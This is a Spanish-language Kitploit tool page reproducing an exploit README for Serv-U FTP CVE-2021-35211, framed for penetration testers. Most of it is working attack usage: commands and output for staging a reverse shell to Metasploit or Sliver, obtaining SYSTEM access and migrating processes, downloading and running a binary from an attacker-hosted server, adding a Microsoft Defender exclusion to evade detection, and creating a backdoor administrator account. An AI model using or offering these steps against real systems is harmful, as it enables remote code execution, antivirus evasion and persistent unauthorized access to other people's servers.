Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
Herramientas/GitHubGitHub/0xhaggis/cve-2021-35211
Análisis de VulnerabilidadesExplotaciónShellcodePruebas de PenetraciónComando y ControlHerramienta de Acceso RemotoDesarrollo de PayloadsExplotación de Binarios
GitHub0xhaggis/cve-2021-35211

CVE-2021-35211

Exploit de Serv-U-FTP CVE-2021-35211

Ver Repositorio
13hace 4 añosAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Exploit Serv-U CVE-2021-35211

Potencial de Denegación de Servicio - verifique sus reglas de enfrentamiento

El exploit no funciona siempre, pero funciona lo suficiente como para ejecutar shellcode aproximadamente 1 de cada 5 o 6 intentos. Sin embargo, a veces un exploit fallido bloqueará el servidor Serv-U. Asegúrese de que sus reglas de enfrentamiento permitan el riesgo de pérdida o degradación del servicio. Los síntomas observados en las pruebas incluyen:

  • bloqueo y reinicio automático (más común)
  • desconexión de usuarios conectados durante intentos exitosos y no exitosos
  • bloqueo sin reinicio automático

Caveat emptor.

Inicio Rápido

Las versiones son importantes. Este exploit utiliza direcciones ROP hardcodeadas válidas solo contra la versión 15.2.3.717 de Serv-U. Es posible que podamos agregar otras versiones; pregunte si necesita que funcione con versiones diferentes de Serv-U o Windows.

Verifique la versión en su objetivo

root@kitploit:~
% ncat www.example.com 22
SSH-2.0-Serv-U_15.2.3.717

Ejecutar el exploit

Descargar herramienta

Toma los siguientes argumentos:

root@kitploit:~
% python3 CVE-2021-35211.py
usage: CVE-2021-35211.py [-h] [-p TARGETPORT] targetHost {stage,exec,downloadexec} ...

Hay tres modos (o cargas útiles) que puede ejecutar en un ataque exitoso:

  1. stage
  2. exec
  3. downloadexec

Modo stage

Tras un exploit exitoso, ejecuta un stager de shellcode compatible con Metasploit/Sliver. Es el menos confiable de todas las cargas; considere downloadexec en su lugar. Ejecútelo así:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage -h
usage: CVE-2021-35211.py targetHost stage [-h] stageHost stagePort

positional arguments:
  stageHost   Hostname or IPv4 address of your Metasploit/Sliver shellcode staging instance
  stagePort   Port number for your staging instance

optional arguments:
  -h, --help  show this help message and exit

stageHost y stagePort apuntarán a un handler en escucha en su máquina Sliver/Metasploit. Puede elegir cualquier payload que desee, pero he descubierto que el único que funciona de manera confiable es windows/x64/shell/reverse_tcp. Es una lástima porque no es un shell cifrado y deberá verificar sus reglas de enfrentamiento antes de lanzar algo así.

De nuevo, caveat emptor.

Configúrelo en Metasploit ejecutándose en su máquina Kali de la siguiente manera:

root@kitploit:~
elvis@kali:~ msfconsole
...
msf5 >
msf5 > handler -H 0.0.0.0 -P 10444 -p windows/x64/shell/reverse_tcp
[*] Payload handler running as background job 1.

Luego ejecute el exploit:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.metasploit.box 31337
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

De vuelta en la máquina Kali debería ver la solicitud de stage y el shell de comandos iniciándose:

root@kitploit:~
msf5 >
[*] Sending stage (336 bytes) to example.com
[*] Command shell session 6 opened (10.10.10.14:10444 -> example.com:57562) at 2021-10-22 18:50:11 +0000

msf5 >sessions -i 6
[*] Starting interaction with 6...


(c) Microsoft Corporation. All rights reserved.

C:\Program Files\RhinoSoft\Serv-U>whoami
whoami
nt authority\system

Sliver

El soporte de Sliver en el payload stager es altamente experimental y rara vez funciona. Si funciona, normalmente verá que las sesiones se inician y mueren inmediatamente. Pero si obtiene una sesión que no termina de inmediato, puede tomar medidas para mantener su acceso a Sliver migrando a otro proceso.

En su servidor Sliver ejecute el comando stage-listener para configurar su listener. Consulte la documentación de Sliver para más detalles sobre staging:

root@kitploit:~
elvis@h:/ehome/haggis$ sudo sliver-server

    ███████╗██╗     ██╗██╗   ██╗███████╗██████╗
    ██╔════╝██║     ██║██║   ██║██╔════╝██╔══██╗
    ███████╗██║     ██║██║   ██║█████╗  ██████╔╝
    ╚════██║██║     ██║╚██╗ ██╔╝██╔══╝  ██╔══██╗
    ███████║███████╗██║ ╚████╔╝ ███████╗██║  ██║
    ╚══════╝╚══════╝╚═╝  ╚═══╝  ╚══════╝╚═╝  ╚═╝

All hackers gain first strike
[*] Server v1.4.17 - 410f0756d26cb279216aecde68c14e68b5c9df32
[*] Welcome to the sliver shell, please type 'help' for options

[*] Check for updates with the 'update' command

sliver > 
sliver > stage-listener --url tcp://0.0.0.0:10443 --profile win-shellcode

Ejecute el exploit en modo stage:

root@kitploit:~
% python3 CVE-2021-35211.py example.com stage your.sliver.box 10443
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Si el exploit funciona (y rara vez funciona con payloads de Sliver o Meterpreter), verá algo como esto (y sí, ¡Sliver se inventó ese nombre de payload por sí solo!):

root@kitploit:~
[*] Session #4 ARTISTIC_PANTIES - example.com:57071 (WIN-EMCK6E5O0DI) - windows/amd64 - Wed, 20 Oct 2021 04:24:10 UTC

sliver > sessions -i 4

[*] Active session ARTISTIC_PANTIES (4)

sliver (ARTISTIC_PANTIES) > info

                ID: 4
              Name: ARTISTIC_PANTIES
          Hostname: WIN-EMCK6E5O0DI
              UUID: 0af9fbf2-c8b0-498c-8d9d-332f13e5d0f8
          Username: NT AUTHORITY\SYSTEM
               UID: S-1-5-18
               GID: S-1-5-18
               PID: 3956
                OS: windows
           Version: Server 2016 build 20348 x86_64
              Arch: amd64
    Remote Address: example.com:57071
         Proxy URL: none
     Poll Interval: 1
Reconnect Interval: 60

Lo primero que debe hacer es migrar a otro proceso porque existe una alta probabilidad de que su sesión de Sliver muera y no regrese, y al momento de escribir esto desconozco la causa raíz.

root@kitploit:~
sliver (ARTISTIC_PANTIES) > ps

pid   ppid  owner                         executable                   session
===   ====  =====                         ==========                   =======
0     0                                   [System Process]             -1
4     0                                   System                       0
...
3872  728   NT AUTHORITY\SYSTEM           svchost.exe                  0
4868  728   BUILTIN\Administrators        Serv-U.exe                   0
4636  868   BUILTIN\Administrators        dllhost.exe                  0

sliver (ARTISTIC_PANTIES) > migrate 3872

[*] Successfully migrated to 3872

En este punto debería tener una sesión Sliver sólida e inmune a los vaivenes de Serv-U y este exploit.

Modo de descarga y ejecución

El modo más confiable y el que tiene menos probabilidades de ser detectado por la seguridad de endpoint de Microsoft Defender. Esto se debe a que usa un comando de Powershell (powershell -Command "& {Add-MpPreference -ExclusionPath c:\windows\temp}") para agregar una exclusión de directorio a Microsoft Defender, de modo que los binarios de Sliver/Meterpreter/whatsoever no se analicen en busca de malware. Esto lo protegerá contra Windows Defender, pero eso es todo; deberá considerar otras tecnologías de seguridad de endpoints, IDS de red, etc.

En caso de éxito, descarga un binario desde una URL y lo ejecuta. Necesitará un servidor web que aloje su archivo ejecutable. Yo usé Python, pero tenga en cuenta que estoy probando en una red local sin SSL. En exploits reales, deberá verificar sus reglas de enfrentamiento si desea usar URLs no cifradas.

No es la primera vez: caveat emptor.

Ejecute un listener HTTP simple de la siguiente manera:

root@kitploit:~
% python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...

Con el listener en ejecución, puede ejecutar el exploit:

root@kitploit:~
% python3 serv-u-exploit2.py example.com downloadexec http://192.168.0.144:8000/calc.exe
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Debería ver algo como esto en su listener:

root@kitploit:~
192.168.0.144 - - [22/Oct/2021 12:28:24] "GET /calc.exe HTTP/1.1" 200 -

El objetivo ejecutará calc.exe y reiniciará el servicio Serv-U para permitir que los usuarios comiencen a conectarse nuevamente. Tenga en cuenta que el ejecutable no mostrará una ventana, pero si ejecuta este ejemplo, debería ver wincalc.exe en el Administrador de tareas.

Modo de ejecución de comandos

En caso de éxito, ejecuta un comando en el objetivo. Ejecútelo así:

root@kitploit:~
% python3 serv-u-exploit2.py example.com exec 'net user bishopfox r34LLy.g00d_p4ssW0rd /add & net localgroup administrators bishopfox /add'
[+] Targeting example.com:22
[+] Setting up exploit payload buffer
[+] Constructing ROP chain
[+] Adding shellcode
[+] Spraying Serv-U-FTP server @ example.com:22
[+] Sending exploit trigger payload...
[+] Done! Sometimes it takes a few runs to work - try again if it failed.

Créditos

  • Los investigadores de Microsoft que fuzzearon la vulnerabilidad: https://www.microsoft.com/security/blog/2021/09/02/a-deep-dive-into-the-solarwinds-serv-u-ssh-vulnerability/
  • @NattiSamson hizo la Prueba de Concepto en la que se basa mi código: https://github.com/NattiSamson/Serv-U-CVE-2021-35211/blob/main/CVE-2021-35211_PoC.py

Reflexiones finales

Desafortunadamente, este exploit tiende a bloquear el proceso remoto. Generalmente se reinicia y estoy tratando de ver si puedo hacerlo más estable, pero hasta entonces, recuerde: verifique sus reglas de enfrentamiento y caveat emptor.